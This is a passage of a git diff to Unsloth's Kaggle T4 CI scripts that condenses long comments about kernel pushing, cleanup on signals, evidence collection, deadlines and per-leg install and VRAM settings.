+ # The slug derives from the title, so assert the round trip.
title = name.replace("-", " ")
assert _slugify(title) == name, f"title {title!r} slugifies to {_slugify(title)!r}"
attempted.append(f"{user}/{name}")
@@ -452,16 +452,15 @@ def push(
)
out = proc.stdout + proc.stderr
except subprocess.TimeoutExpired:
- # A push that ran out of wall clock is the MOST ambiguous outcome, not the least: the client was killed mid-call, so whether Kaggle accepted the kernel is unknowable from here, and letting the exception out loses the slug and with it every chance of deleting the session it may have started. So it is recorded as a failed attempt like any other, and "timed out" is in THROTTLED_PUSH because that is what it is, Kaggle under load.
+ # A timed-out push may still have been accepted, so record it as a failed attempt.
out = f"push subprocess exceeded {PUSH_SUBPROCESS_TIMEOUT_SEC}s and was killed; timed out"
_log(f"push timed out after {PUSH_SUBPROCESS_TIMEOUT_SEC}s ({attempted[-1]})")
- # Also recorded on disk. release() covers the paths this process gets to run; the registry covers the one it does not, a kill between here and cleanup, by leaving the slug for the next launcher's sweep.
_inflight_add(attempted[-1])
lowered = out.lower()
if "successfully pushed" in lowered:
if "does not resolve to the specified id" in lowered:
return _pushed(False, "slug_mismatch", out, attempted)
- # Recorded the instant it exists, before anything can go wrong downstream: a kernel that is billing but unknown to the registry is exactly the case the registry is for.
+ # Record the kernel the moment it exists.
_inflight_add(attempted[-1])
return {"ok": True, "slug": attempted[-1], "attempts": attempted}
if any(m in lowered for m in CAPACITY_MARKERS):
@@ -652,7 +651,6 @@ def list_outputs(
with urllib.request.urlopen(req, timeout = call_timeout) as resp:
data = json.loads(_read_within(resp, deadline))
except TimeoutError:
- # The budget ran out mid-body. Same answer as running out between pages: stop, and say the listing is incomplete.
_log(f"evidence budget spent while reading a page of {slug}")
break
files.extend(f for f in data.get("files") or [] if f.get("fileName"))
@@ -689,7 +687,6 @@ def fetch_evidence(
continue
url = entry.get("url") or entry.get("urlNullable")
if not url:
- # Listed but not downloadable is missing evidence: judged without it, a lost failing payload reads as whatever survived.
_log(f"{name} was listed without a download URL; evidence incomplete")
truncated = True
continue
@@ -704,12 +701,11 @@ def fetch_evidence(
req = urllib.request.Request(url, headers = {"User-Agent": "unsloth-kaggle-t4-ci/1.0"})
with urllib.request.urlopen(req, timeout = call_timeout) as resp, part.open("wb") as fh:
_read_within(resp, deadline, sink = fh)
- # Only publish once it parses: a download killed mid-write leaves a file of plausible size, which is evidence that looks present and is not.
+ # Publish only after it parses: a killed download can leave a plausible-size file.
json.loads(part.read_text(encoding = "utf-8", errors = "replace"))
part.replace(dest)
fetched.append(dest.name)
except Exception as exc: # noqa: BLE001
- # A listed notebook that did not land is missing evidence, whether the budget ran out mid-body or the transfer failed, so the collection is incomplete and has to say so rather than read as a complete set that happens to be short.
_log(f"could not fetch {name}: {type(exc).__name__}")
part.unlink(missing_ok = True)
truncated = True
@@ -748,7 +744,6 @@ def extract_reports(outdir: Path) -> list[dict]:
parsed = json.loads(blob)
except json.JSONDecodeError:
continue
- # A report is an object; `.get` on anything else that parses raises out of the collector and wedges every later pass on this evidence.
if not isinstance(parsed, dict):
continue
key = f"{parsed.get('label')}|{parsed.get('model')}"
@@ -757,13 +752,13 @@ def extract_reports(outdir: Path) -> list[dict]:
seen.add(key)
reports.append(parsed)
- # rglob, not glob: each kernel collects into its own subdirectory so two cannot overwrite each other's kernel.log.
+ # rglob: each kernel collects into its own subdirectory.
for nb_path in sorted(outdir.rglob(f"*{OUTPUT_SUFFIX}")):
try:
nb = json.loads(nb_path.read_text(encoding = "utf-8", errors = "replace"))
except Exception: # noqa: BLE001
continue
- # Valid JSON is not necessarily a notebook, and one malformed file must not take its neighbours' reports with it: an exception here used to reach the collector, which then judged the kernel infra, posted success and released it, hiding a real failure behind a mangled file.
+ # One malformed file must not drop its neighbours' reports.
if not isinstance(nb, dict):
continue
for cell in nb.get("cells") or []:
@@ -789,26 +784,25 @@ def _install_release_handlers(release: Callable[[], None]) -> None:
atexit.register(release)
def _release_and_die(signum, _frame):
- # First, and outside the try: from here on every _log in this process drops a line rather than stalling on a stdout nobody is draining. release() logs through the ordinary path, and a stall there is a stall before the retry and before the `finally`.
+ # First and outside the try: from here on logging must never block.
global _IN_SIGNAL_HANDLER
_IN_SIGNAL_HANDLER = True
- # Everything before the `finally` is best effort. The death is not: a handler that returns normally leaves the process exiting on whatever code main() computes, and a cancelled job then reads as a completed one.
+ # The re-raise in `finally` is mandatory; returning would exit with main()'s code.
try:
_log_from_signal(f"received signal {signum}; deleting kernels before exiting")
release()
except BaseException as exc: # noqa: BLE001
- # A raise here used to propagate into the main thread, where main()'s `except BaseException` caught it and finish() called release() again, so a transient first failure (the observed one: an OSError from a subprocess spawn on a loaded runner) ended in main RETURNING 0 and the cancelled job read as completed. Deleting is best effort, the exit status is not. Retried once, since the kernel is billing meanwhile.
+ # Retried once, since the kernel is billing; the exit status must still be the signal.
_log_from_signal(f"release() failed under signal {signum}: {type(exc).__name__}: {exc}")
try:
release()
except BaseException as retry_exc: # noqa: BLE001
- # Nothing more to try in-process: the slug stays in the registry for the next launch's orphan sweep, as after a kill -9.
_log_from_signal(
f"release() failed again: {type(retry_exc).__name__}: {retry_exc}. "
f"The kernels stay in the registry for the next launcher's sweep"
)
finally:
- # Die of the original signal rather than exiting 0, so the status still reads "killed by signal N": a CI system treats a 0 from a cancelled job as a completed one. In a `finally` because anything above can raise, including the logging, which is how this was found.
+ # Die of the original signal: CI reads exit 0 from a cancelled job as completed.
signal.signal(signum, signal.SIG_DFL)
os.kill(os.getpid(), signum)
@@ -818,7 +812,7 @@ def _install_release_handlers(release: Callable[[], None]) -> None:
try:
signal.signal(_sig, _release_and_die)
except (ValueError, OSError, AttributeError):
- # No SIGHUP on Windows, and signal() only works on the main thread. One handler failing must not stop the others.
+ # No SIGHUP on Windows, and signal() only works on the main thread.
pass
@@ -831,7 +825,7 @@ def main() -> int:
help = "kernel notebook to push. Repeatable: all of them "
"are pushed before any of them is waited on",
)
- # NOT required, and not a constant: the owner is a property of the TOKEN this process was handed, and CI now hands it one of several. Passing the name is still allowed but is CHECKED against the token rather than trusted, because the failure worth catching is a name and a credential that disagree: the push fails, or worse, the cleanup deletes under a name that owns nothing and the real kernel bills on unwatched.
+ # Optional; when given it is checked against the token's owner, never trusted.
ap.add_argument(
"--user",
default = "",
@@ -894,16 +888,14 @@ def main() -> int:
)
args = ap.parse_args()
- # A dispatched kernel is left running, which is exactly what --keep-kernel already means down to the registry bookkeeping. Reusing the flag rather than giving release() a second way not to delete: two conditions guarding one deletion is how one ends up wrong, and this one bills GPU quota.
if args.dispatch:
args.keep_kernel = True
- # Refused rather than defaulted: a slug with no commit runs, costs quota and reports to nobody. A usage error at the only moment it is cheap.
if not args.commit_sha or not args.kind:
ap.error(
"--dispatch requires --commit-sha and --kind: without both, the "
"kernel runs and no collector can attribute its result"
)
- # A commit, not a ref: `slug_name` carries only hex and falls back to the legacy unattributable form, so a branch or tag here bills and reports to nobody. The workflows resolve refs; this checks they did.
+ # Must be a commit sha, not a ref: slug_name keeps only hex.
if not re.fullmatch(r"[0-9a-fA-F]{12,40}", args.commit_sha.strip()):
ap.error(
f"--commit-sha must be a hex commit id (12 to 40 characters), got "
@@ -911,7 +903,6 @@ def main() -> int:
"the kernel's result could never be attributed to a commit"
)
- # Before the first network call, and globally: the Kaggle client has no per-call timeout of its own. See SOCKET_TIMEOUT_SEC.
socket.setdefaulttimeout(SOCKET_TIMEOUT_SEC)
outdir = Path(args.outdir)
@@ -927,7 +918,7 @@ def main() -> int:
def release() -> None:
"""Delete every kernel this process pushed. Idempotent, and on every path out of main(). The budget control, not a tidy-up: a kernel left behind bills to its own ceiling with nobody reading the result, and Kaggle's push-time timeout has been observed not to stop one that wedged (deleting a two-hour-old stuck kernel took the account's used-hours figure DOWN). Every slug the push FILED is reconciled, not only the accepted one; see ``_slugs_filed``. A slug counts as released only once Kaggle CONFIRMS the delete, and anything else is named in the log, in ``launch_result.json`` and in a workflow annotation rather than quietly counted as cleaned up."""
if args.keep_kernel:
- # Flagged, not just skipped: the registry entry still names this process, and the next launcher would read a dead owner as an orphan and delete the very kernel the flag asked to keep.
+ # Flagged so the next launcher does not reap a kernel --keep-kernel asked to keep.
for entry in result.get("kernels") or []:
for slug in _slugs_filed(entry):
_inflight_mark_kept(slug)
@@ -948,7 +939,7 @@ def main() -> int:
entry["released"] = all(s in done for s in _slugs_filed(entry))
result["unreleased"] = leaked
if leaked:
- # _write_line, not _log: the [launch] prefix would stop GitHub parsing this as an annotation. Not print: release() runs from the signal handler too, and this line is emitted on exactly the path where a kernel is still billing, so a raw write here blocks or raises before the handler can re-raise its signal.
+ # _write_line: the [launch] prefix breaks annotations and print can block in the signal handler.
_write_line(
"::warning title=Kaggle kernels may still be running::"
+ ", ".join(leaked)
@@ -956,7 +947,6 @@ def main() -> int:
"quota until they hit their own ceiling. Delete them by hand."
)
- # From here on release() is reachable from a signal and from atexit too, not only from finish(): a cancelled workflow used to leave its kernel up.
_install_release_handlers(release)
def finish(code: int = 0) -> int:
@@ -991,7 +981,7 @@ def main() -> int:
)
return False
- # BEFORE authentication and long before the first push: the one question that has to be answered while the answer can still be acted on. The caller (the workflow job) is killed at a fixed time, and killing it takes finish() -> release() with it, since GitHub sends SIGINT to the step's entry process and kills the process tree about ten seconds later, which is not a window in which DELETE_ATTEMPTS retries against a slow Kaggle can finish. Nothing bounds the steps that run BEFORE this one, so "the job deadline sits above the worst case with room for setup" is an assumption about their duration rather than a property of the run; this measures what is left instead. Standing down green is the answer the workflow's failure semantics give every infrastructure outcome: nothing was learned about the code, and no quota was spent finding that out.
+ # Check the window before authenticating and pushing; once killed, release() cannot finish.
if not window_fits("after the setup steps"):
return finish()
@@ -1003,7 +993,7 @@ def main() -> int:
result["reason"] = f"kaggle auth failed: {type(exc).__name__}"
return finish()
- # WHO this token is, settled before anything is pushed and read off the client just authenticated. CI holds more than one account now, and both ways to get this wrong are silent: a name the token does not own makes every push fail for a reason that reads like a bad notebook, and a name belonging to the OTHER account makes the cleanup delete nothing while the kernel it filed bills on unwatched. Answered through finish() rather than a bare return, so this stand-down still writes launch_result.json, which the report step reads.
+ # Owner comes from the authenticated client; exit via finish() so launch_result.json is written.
owner = username_of(api)
if not owner:
result["reason"] = "could not determine which Kaggle account this token belongs to"
@@ -1018,28 +1008,27 @@ def main() -> int:
args.user = owner
_log(f"authenticated as {owner}")
- # Reclaim anything a previous launcher was killed outright before it could delete. Done BEFORE pushing, so the freed session slots are available to this run: Kaggle allows only two GPU sessions at once, and an orphan holds one until its ceiling.
+ # Reclaim orphans before pushing to free Kaggle's two GPU session slots.
for _slug in sweep_orphans(owner):
_log(f"reclaimed orphaned kernel {_slug} from a killed launcher")
- # AGAIN, now that authentication is paid for and the next thing is a push. The check above is not enough on its own: authenticate() reaches the network (with KAGGLE_API_TOKEN, kaggle 2.2.4 introspects the token over HTTP) and its only bound is SOCKET_TIMEOUT_SEC, so a window that fitted by less than that is gone by the time the first kernel is pushed.
+ # Again: authenticate() hits the network and can consume the remaining window.
if not window_fits("after authenticating"):
return finish()
- # ANY unforeseen exception from here on still has to delete the kernels. Everything below may have pushed one already, and a kernel this process does not delete bills to its own ceiling with nobody reading it (Kaggle's push-time timeout has been measured not to stop a wedged one, and nothing in the workflow cleans up after this script).
+ # Any exception from here on must still delete pushed kernels.
try:
- # ONE deadline for the whole invocation, started BEFORE the first push. A kernel bills from the moment Kaggle accepts it, so the clock that decides when it is deleted must include the time spent pushing the others: started after the push loop instead, a throttled second push (about 45 minutes) landed on top of --max-wait for the kernel already accepted, 135 minutes of billing against a ceiling that reads as 90. Kaggle's push-time timeout does not cover that gap either, so the deletion deadline is the only bound there is.
+ # One deadline started before the first push: kernels bill from acceptance.
deadline = time.time() + args.max_wait
- # Push everything first. See this file's docstring: waiting between pushes would serialise sessions Kaggle runs happily in parallel and put an hour between the control leg and the canary leg.
kernels: list[dict] = []
- # Published BEFORE the loop, as the same list object throughout. release() reads result["kernels"], so a push that dies part-way must not leave the entries already filed invisible to the cleanup.
+ # Same list object throughout: release() reads it, so partial pushes stay visible.
result["kernels"] = kernels
for notebook in args.notebook:
_log(f"pushing {notebook} (kernel ceiling {args.kernel_timeout_sec}s)")
entry = {
"notebook": notebook,
"slug": None,
- # Every slug filed, accepted or not: a push that reported an error may still have landed, and this is the only record of what to reconcile against the account afterwards. Published EMPTY, before the push, and filled by push() as it files each slug: reading the returned list instead meant the entry existed only if push() RETURNED, so an exception it does not handle unwound past this line and the kernel Kaggle may have just accepted was left billing. The list being the caller's own object is what closes that for every raise rather than for the ones foreseen.
+ # Filled by push() in place, so a raise still leaves accepted kernels visible to cleanup.
"attempted": [],
"state": None,
"push_error": None,
@@ -1067,10 +1056,9 @@ def main() -> int:
if not live:
result["reason"] = "; ".join(k["push_error"] for k in kernels if k["push_error"])
return finish()
- # Kept for the summary and for anything reading this file's previous single-kernel shape.
result["slug"] = live[0]["slug"]
- # DISPATCH MODE ENDS HERE. `dispatched` is deliberately NOT `pass`: all this job proved is that Kaggle accepted a push, and the real verdict comes later from collect.py as a commit status on the sha in the slug.
+ # Dispatch mode: `dispatched` is not `pass`; collect.py posts the real verdict later.
if args.dispatch:
result["verdict"] = "dispatched"
result["dispatched"] = [{"slug": k["slug"], "notebook": k["notebook"]} for k in live]
@@ -1084,17 +1072,15 @@ def main() -> int:
)
return finish()
- # The deadline above is shared, not one per kernel: they run concurrently, so consuming the ceiling per kernel would let a two-kernel run wait twice its own stated bound.
+ # Shared deadline: kernels run concurrently.
for entry in live:
remaining = max(0, int(deadline - time.time()))
entry["state"] = wait(api, entry["slug"], args.poll_every, remaining)
_log(f"{entry['slug']} terminal state: {entry['state']}")
result["kernel_state"] = ",".join(k["state"] or "?" for k in live)
- # ONE budget for the whole phase, shared by every kernel and started here, for the same reason the polling deadline is shared: the kernels are still billing and release() has not run yet. Per kernel it would scale with the kernel count, which is what the job deadline could not then be derived from. See EVIDENCE_BUDGET_SEC.
evidence_deadline = time.time() + EVIDENCE_BUDGET_SEC
for entry in live:
- # One directory per kernel: Kaggle names the executed notebooks after the payloads, so two kernels of a run would otherwise overwrite each other's kernel.log.
try:
entry["evidence"] = fetch_evidence(
entry["slug"],
@@ -1118,7 +1104,7 @@ def main() -> int:
)
return finish()
- # A kernel that ended badly but still reported is worth reading: the payload deliberately does not propagate a nonzero exit, so ERROR here usually means the SESSION died (timeout, box OOM, Kaggle side), which is infra unless a report says otherwise.
+ # ERROR usually means the session died, which is infra unless a report says otherwise.
failing = [r for r in reports if not r.get("passed")]
if failing:
result["verdict"] = "fail"
@@ -1136,10 +1122,9 @@ def main() -> int:
result["verdict"] = "pass"
result["reason"] = f"all {len(reports)} payload(s) passed"
- # The kernels are released by finish(), on this path and on every other.
return finish()
except BaseException as exc: # noqa: BLE001
- # An abort is infra by this file's contract: nothing was learned about the code under test, so it must not colour the pull request red. finish() deletes every slug filed so far and still writes launch_result.json.
+ # An abort is infra: nothing was learned about the code.
result["verdict"] = "infra"
result["reason"] = (
f"the launcher aborted: {type(exc).__name__}: {str(exc)[:300]}. "
diff --git a/.github/scripts/kaggle_t4_ci/legs.py b/.github/scripts/kaggle_t4_ci/legs.py
index 00056f5288b..4cdcb609e7a 100644
--- a/.github/scripts/kaggle_t4_ci/legs.py
+++ b/.github/scripts/kaggle_t4_ci/legs.py
@@ -20,10 +20,10 @@ from pathlib import Path
ZOO = "unsloth_zoo @ git+https://github.com/unslothai/unsloth-zoo@{zoo_ref}"
UNSLOTH = "unsloth @ git+https://github.com/unslothai/unsloth@{unsloth_ref}"
-# Expands to a pin file's contents, one requirement per argument, at BUILD time so the generated notebook states the versions it will install and the tests can read them without executing it.
+# Expanded at build time so the notebook states its versions.
PINS = "@PINS:{file}"
-# What the canary upgrades. Named explicitly rather than "--upgrade everything", which would move torch and the CUDA stack too: a leg that changes ten things at once cannot attribute a failure to any of them.
+# Named explicitly so torch and the CUDA stack do not move too.
CANARY_UPGRADES = ("transformers", "trl", "peft", "accelerate", "bitsandbytes")
@@ -47,42 +47,40 @@ class Leg:
"unsloth",
"unsloth_zoo",
)
- # Measured peak_reserved_gb on a Tesla T4 (run 32611343797), NOT an estimate and not a request: the driver uses it to decide whether two legs may share a card. gptoss 12.78 of 14.56 (88%, so it never shares); the three Qwen legs 0.70 each. A leg whose real appetite grows past what it declares here is the failure mode, so test_the_declared_vram_matches_what_the_legs_reported checks these against the evidence.
+ # Measured peak_reserved_gb on a T4; the driver uses it to decide card sharing.
vram_gb: float = 1.0
- # Pure-Python version pins this leg wants OVER the shared base, installed into a per-leg directory and put on PYTHONPATH ahead of it. Same mechanism Studio ships as `.venv_t5_*` (studio/backend/utils/transformers_version.py): --no-deps, prepended, propagated to children via PYTHONPATH. Measured on kernel unsloth-probe-overlay-t4-r2-38ac4d, `transformers==4.57.6 + trl~=0.22.0` resolved to three packages, 115.9 MB, in 10.0s, against 158-207s for a leg's own install groups. Sound only for pure-Python or wheel-shipped distributions: it CANNOT replace torch, triton or bitsandbytes, and nothing may import the ambient copy before the child starts, which is why the overlay reaches the payload as an env var rather than a sys.path edit inside a running interpreter. Empty means "use the base as-is".
+ # Pure-Python pins installed --no-deps into a per-leg dir prepended on PYTHONPATH.
+ # Cannot replace torch, triton or bitsandbytes.
overlay: tuple[str, ...] = ()
- # Distributions to REMOVE after the install groups run; empty for every leg but grpo. FlashInfer cannot LINK on the Kaggle image: it ships the runtime libcuda.so.1 but not the driver stub libcuda.so, so `-lcuda` fails after nvcc has succeeded. Four ladder probes established that no environment variable covers this: VLLM_USE_FLASHINFER_SAMPLER=0 changed nothing, and UNSLOTH_VLLM_NO_FLASHINFER=1 stopped the sampler build but the failure moved to the attention prefill kernels, for which vLLM exposes no knob. Removing the three flashinfer distributions after installing vLLM passed at the first rung, covers every caller, and flips unsloth's own find_spec("flashinfer") test to False, a branch its code already handles.
+ # Removed after install: FlashInfer cannot link on Kaggle (no libcuda.so stub).
uninstall: tuple[str, ...] = ()
reference: str = ""
env: dict = field(default_factory = dict)
- # Does this leg's virtualenv see the Kaggle image's site-packages? True by default, which is what makes the control leg honest: it runs against the image's torch, as a notebook user does. False is for a leg that REPLACES torch, and it is measured: `vllm==0.11.2` pins `torch==2.9.0`, downgrading the image's 2.10.0, and with the image's site-packages visible pip treats torch's pinned NVIDIA runtime packages as satisfied by the 2.10 copies, giving a torch that installs cleanly and cannot be imported (libcusparseLt.so.0 missing, and libtorch_cuda.so undefined symbol ncclCommWindowRegister). A venv that cannot see the image forces pip to resolve the whole stack, so it resolves a consistent one, at the cost of a few minutes of download.
+ # False for legs that replace torch: visible image NVIDIA packages would yield an unimportable torch.
system_site_packages: bool = True
- # Does this leg want EVERY card visible rather than being pinned to one? False for every leg but `multi_gpu`, and it exists for a branch no pinned leg can reach: unsloth/kernels/utils.py:170 binds torch_gpu_device to torch.cuda.device only when DEVICE_COUNT > 1, and build_kernel.py pins every payload with CUDA_VISIBLE_DEVICES, so every unsloth kernel this CI has run took the nullcontext shim. The same holds for the per-device rotary caches (llama.py:1838, gemma.py:280), the DEVICE_COUNT-sized CUDA_STREAMS / WEIGHT_BUFFERS / ABSMAX_BUFFERS arrays and the temp_mlp device tuples (llama.py:1300). It is FREE because the divergence is triggered by VISIBILITY, not by using both cards: the model still fits on one.
+ # For multi_gpu: DEVICE_COUNT > 1 code paths only run when every card is visible.
all_cards: bool = False
-# Files every leg needs: the version recorder, which makes a red leg attributable to a version; the canary dataset; and the "did the optimizer apply anything" evidence, without which every payload here can pass on a run that trained nothing.
COMMON_FILES = (
"versions.py",
"canary_dataset.jsonl",
"training_evidence.py",
- # Splits the one `load` figure into fetch and weight load. Shipped to every leg, because the number it produces is only comparable across legs if every leg can produce it.
"phase_timers.py",
)
-# The install prefix shared by every leg: unsloth_zoo first and WITH deps, then unsloth on top, then bitsandbytes, which neither pulls and the image does not carry, and without which `import unsloth` raises. UNSLOTH RESOLVES ITS DEPENDENCIES: it used to carry --no-deps, which made pyproject.toml, the one file this workflow watches for packaging changes, the one thing it could not test, since pip enforces only the requirements of packages IN a resolution. `pip install unsloth` is what a user runs, and this is now the same call. What unsloth declares (typer, rich, pydantic, pyyaml, nest-asyncio, structlog, click) is nothing zoo resolves and nothing any leg pins, so pip has nothing to fight over; a pyproject that DOES name one of zoo's packages would move it, which is the regression this exists to show.
+# unsloth resolves its own dependencies, as `pip install unsloth` does, so pyproject.toml is tested.
BASE_INSTALL = ((ZOO,), (UNSLOTH,), ("bitsandbytes",))
-# The distribution under test, read off the requirement above rather than restated: the verify cell asks pip whether THIS distribution's declared requirements are satisfied, and a name that drifted from the one actually installed would check nothing and say so quietly.
PACKAGE_UNDER_TEST = UNSLOTH.split("@", 1)[0].strip()
SMOKE_FILES = COMMON_FILES + (
"run_t4_smoke.py",
"determinism.py",
"gguf_export.py",
- # Shipped to EVERY smoke leg, not only the one that passes --compare-naive-trl: run_t4_smoke imports comparison_failures at module scope, so a leg without the file cannot start at all. The module itself imports nothing heavier than the stdlib.
+ # Shipped to every leg: run_t4_smoke imports it at module scope.
"naive_trl_compare.py",
- # Imported at module scope by run_t4_smoke, like naive_trl_compare, so a leg without it cannot start even though only one leg passes the flag.
+ # Imported at module scope by run_t4_smoke.
"kernel_provenance.py",
)
@@ -92,7 +90,7 @@ LEGS: dict[str, Leg] = {
vram_gb = 0.7,
name = "control",
summary = "tiny SFT determinism run, pinned library set",
- # Pins go in LAST, as their own resolution step, so they beat what the preceding groups resolved; otherwise zoo's dependency set would quietly walk them forward again.
+ # Pins go last so they beat what earlier groups resolved.
install = BASE_INSTALL + ((PINS.format(file = "control.txt"),),),
entry = "run_t4_smoke.py",
files = SMOKE_FILES + ("pins/control.txt",),
@@ -103,19 +101,19 @@ LEGS: dict[str, Leg] = {
vram_gb = 0.7,
name = "canary",
summary = "the same SFT run on the newest permitted library set",
- # One resolution with the zoo requirement present, so pip picks the newest release of each that zoo's constraints allow. A separate upgrade call would let pip install a version zoo forbids and merely warn, measuring an environment Unsloth never claimed to support.
+ # One resolution with zoo present so pip respects zoo's constraints.
install = BASE_INSTALL + ((("--upgrade", ZOO) + CANARY_UPGRADES),),
entry = "run_t4_smoke.py",
files = SMOKE_FILES,
- # No reference: two library sets do not produce the same fp16 trajectory, so band-checking against the control's committed trace would fail on drift rather than on a regression. The canary asserts the version-independent things instead (the canary string, that the optimizer applied updates, that two fresh processes agreed bitwise WITH EACH OTHER, and that nothing raised). See tests/kaggle/t4_smoke/references/README.md.
+ # No reference: different library sets do not share one fp16 trajectory.
reference = "",
),
"latest_compile": Leg(
- # MEASURED on one card, twice: 12.73 GB peak reserved on both cycles of unsloth-probe-latestcompile-r5-45cf5b, built by the real --all-kernels path so each payload sees exactly one T4. The placeholder was 6.0, at which the scheduler co-tenants this leg and the pair asks for ~19 GB of a 14.56 GB card, so the OOM comes back reading like a code failure. E2B is a MatFormer submodel of E4B and the checkpoint carries the larger weights, which is why the 4bit resident set is nowhere near "far smaller". 12.8 rather than 12.73 leaves a hair of headroom while staying under CARD_VRAM_BUDGET_GB.
+ # Measured 12.73 GB peak; lower values let the scheduler co-tenant this leg and OOM.
vram_gb = 12.8,
name = "Latest_compile",
summary = "gemma-4-E2B-it SFT on the newest transformers and trl, against plain TRL",
- # Same resolution shape as `frontier`, WITH dependencies: an unbounded `--no-deps` upgrade overshoots transformers' own tokenizers and safetensors floors and dies before running anything (measured on kernel unsloth-t4-ci-bd0c49e5; see the frontier comment below).
+ # With deps: --no-deps overshoots transformers' tokenizers and safetensors floors.
install = BASE_INSTALL + ((("--upgrade", "transformers", "trl")),),
entry = "run_t4_smoke.py",
files = SMOKE_FILES,
@@ -124,34 +122,29 @@ LEGS: dict[str, Leg] = {
"unsloth/gemma-4-E2B-it",
"--max-steps",
"10",
- # The plain-TRL comparison runs in a SECOND process on the same venv with unsloth never imported, and it REPORTS both step traces rather than asserting they match: `frontier` showed transformers 5.5.0 and 5.15.1 producing different step-1 losses on identical weights, data and seed (10.3222 against 6.4367), so an equality assertion would be red on drift. What it DOES assert is that both paths train and both converge. NO EXPORT here, deliberately: it worked (unsloth-probe-lcleg-tmpdir-ac53ca produced a 4725.1MB gemma-4-e2b-it.Q8_0.gguf plus a 940.0MB F16-mmproj, llama-bench rc=0 at 16.18 t/s pp8) but cost 310.8s, the largest line item in the suite, for a claim `default` makes in 40.6s and `vision_fla_compile` in 99.3s through the same prebuilt binaries. Put it back with --export-gguf on a dispatch if a gemma-specific conversion is ever in doubt.
+ # The plain-TRL comparison reports both traces rather than asserting equality across versions.
"--compare-naive-trl",
- # Measured on kernels unsloth-probe-latestcompile-r4-e67ef2 and -r5-45cf5b: the plain arm asks for 8.75GiB with 8.96GiB already resident on a 14.56GiB T4, at LOAD, and gradient checkpointing changed the number not at all. E2B is a MatFormer SUBMODEL of E4B and the checkpoint carries the larger weights, so a loader that does not extract the submodel materialises all of them: a fact about the card and the checkpoint, not about either training stack. An OOM DURING training is still a failure; this only excuses the load.
+ # The plain arm OOMs at load on a T4 (E2B checkpoint carries E4B weights); training OOMs still fail.
"--control-oom-is-ok",
),
- # No reference, for the frontier/canary reason: two library sets do not produce one fp16 trajectory, and a band here would go red on ordinary cross-version drift. See references/README.md.
reference = "",
),
- # NOT WIRED. The recon probe (unsloth-probe-vision-recon-c76ea3) answered the kernel questions and left ONE open, which is the one the scheduler needs. See UNWIRED.
+ # Not wired; see UNWIRED.
"vision_fla_compile": Leg(
- # MEASURED on ONE card on the COMPLETE leg (text cycles, vision training run and Q8_0 export): unsloth-probe-visleg-full-b3a317 read 2.84 GB peak reserved on both cycles. The earlier 0.92 GB recon figure was one card's share of a two-card placement, since a probe body sees both cards where a leg gets one.
vram_gb = 2.84,
name = "Vision_FLA_compile",
summary = "Qwen3.5-2B on the newest stack: vendored FLA, sdpa on Turing, completions-only",
install = BASE_INSTALL + ((("--upgrade", "transformers", "trl")),),
entry = "run_t4_smoke.py",
- # The vision payload travels with this leg as a SEPARATE entry script, not a flag on run_t4_smoke: a vision run needs FastVisionModel, UnslothVisionDataCollator and four SFTConfig settings that would be dead weight in every text leg, and the branching to keep both in one file is how the text path acquires a vision-shaped bug nobody notices.
+ # Separate entry script so vision-only setup stays out of the text legs.
files = SMOKE_FILES + ("run_vision_t4.py",),
args = (
"--model",
"unsloth/Qwen3.5-2B",
"--max-steps",
"10",
- # The point of the leg, measured on the recon probe: `fla` resolves to unsloth_zoo/_vendored/fla 0.5.1 and is importable only AFTER the model load, and attention resolves to `sdpa` while `flash_attn` is not importable at all. Deliberately NOT asserted: that causal_conv1d or mamba_ssm are installed (neither is on this path, since the wheel-first machinery in studio/backend/utils/ssm_runtime.py belongs to Studio's training worker and the notebook path never calls it), and not that FlashAttention-2 ran, since sm_75 cannot execute it. The rule instead fails if anything selects FA2 on a Turing card.
"--kernel-provenance",
- # The image path itself, spawned by the parent after the cycles in a process of its own. Without it this leg trains TEXT and asserts kernels, which is a vision leg in name only.
"--vision-run",
- # Q8_0 through the prebuilt llama.cpp binaries, then inference on the result; measured here for the first time on a vision checkpoint, whose merged export is the half the text path cannot exercise.
"--export-gguf",
),
reference = "",
@@ -160,86 +153,85 @@ LEGS: dict[str, Leg] = {
vram_gb = 0.7,
name = "frontier",
summary = "the same SFT run on the newest transformers and trl on PyPI",
- # WHY THIS EXISTS given the canary already says "newest": the canary installs the newest set zoo's METADATA allows, and that ceiling is low. unsloth_zoo/pyproject.toml pins transformers <=5.5.0 and trl <=0.24.0, so on 2026-08-11 the canary resolved transformers 5.5.0 against a PyPI latest of 5.15.0 and trl 0.24.0 against 1.9.2, a whole major version, while peft and accelerate did move and made the leg look like it was working. So with only the canary this CI CANNOT detect a transformers 5.6+ or trl 1.x regression.
- # WITH dependencies, NOT --no-deps: `--no-deps transformers trl` plus a blanket `--upgrade tokenizers` reached transformers 5.15.0 and trl 1.9.2 (kernel unsloth-t4-ci-bd0c49e5) and then died on tokenizers 0.23.1 against a <=0.23.0 requirement and safetensors 0.7.0 against >=0.8.0. Resolving the deps fixes both, because pip enforces only the requirements of packages IN the resolution and unsloth_zoo is merely installed, so its <=5.5.0 is a warning rather than a ceiling. Dry run against an environment with zoo installed: "Would install datasets-5.0.1 huggingface_hub-1.27.0 transformers-5.15.0 trl-1.9.2". So this leg moves whatever transformers and trl now require, which is the honest scope of taking the new version.
- # This leg does NOT go red: transformers 5.15.0, trl 1.9.2, datasets 5.0.1, ten steps, canary emitted, two fresh processes agreeing bitwise. What it does not catch is that the loss trajectory is not the control's (control 10.3222 10.4956 ... against frontier 6.4367 6.6086 ...). Step 1 is computed before any update on identical weights, data and seed, so the loss FUNCTION differs in masking or normalisation; both converge, and this leg has no reference band.
+ # The canary is capped by zoo's metadata, so this leg covers newer transformers and trl.
+ # With deps, not --no-deps: that broke on tokenizers and safetensors floors.
+ # Resolving also moves datasets and huggingface_hub.
install = BASE_INSTALL + ((("--upgrade", "transformers", "trl")),),
entry = "run_t4_smoke.py",
files = SMOKE_FILES,
- # Same reasoning as the canary, more so: this set is further still from the committed trace.
reference = "",
),
"default": Leg(
vram_gb = 0.7,
name = "Default",
summary = "Qwen3-0.6B on the pinned default set, plus batched inference",
- # BASE_INSTALL only: the version pins arrive as an OVERLAY below, laid over the venv rather than resolved into it. Measured on kernel unsloth-probe-overlay-t4-r2-38ac4d, the overlay is three packages, 115.9 MB, in 10.0s, against 158-207s for a leg's own install groups.
+ # Version pins arrive as an overlay below, not resolved into the venv.
install = BASE_INSTALL,
overlay = ("transformers==4.57.6", "trl~=0.22.0"),
entry = "run_t4_smoke.py",
files = SMOKE_FILES,
